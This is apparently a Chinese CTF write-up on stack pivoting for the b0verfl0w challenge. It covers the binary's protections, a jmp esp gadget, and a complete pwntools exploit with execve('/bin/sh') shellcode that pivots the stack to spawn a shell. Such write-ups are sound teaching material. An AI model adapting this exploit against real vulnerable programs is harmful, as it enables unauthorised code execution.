pwn

栈溢出基础浅记(4)

stack pivoting

Posted by Kody Black on October 8, 2023

stack pivoting

花式栈溢出技巧 - CTF Wiki (ctf-wiki.org)

该方法主要针对难以直接构造较长的ROP,而我们可以找到一块可以自己控制的地址空间,通过劫持sp指针,改变程序流到我们所需的地址空间上,执行目标代码

针对X-CTF Quals 2016 - b0verfl0w这个题目

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

可以看到栈上可以执行

16967426912551696742690311.png

危险函数为fget,限制长度为0x32,输入到EBP的距离为0x20,所以可以输入ROP的地址只剩下0x32-0x20-4=14个字节。

这道题正好符合能写ROP的长度较短,但是栈上可以执行。

ROPgadget --binary b0verfl0w --only 'jmp|ret' | grep esp
0x08048504 : jmp esp

找到jmp esp,那么就可以把控制流转移到栈上面。

构造的payload如下:

1696748777201b6d0b6232ce3b924b292fb79813f84a.jpg

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# buffer length:0x20
# input length limit:50
# 0x08048504 : jmp esp

sh = process('./b0verfl0w')
file = ELF('./b0verfl0w')
# gdb.attach(sh)

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504

payload = shellcode.ljust(0x20, b'a') + b'bbbb' + p32(jmp_esp) + sub_esp_jmp

sh.sendline(payload)
sh.interactive()

# libc_start_main_addr = u32(sh.recv()[0:4])
# print ("get the related addr of libc_start_main_got is " + hex(libc_start_main_addr))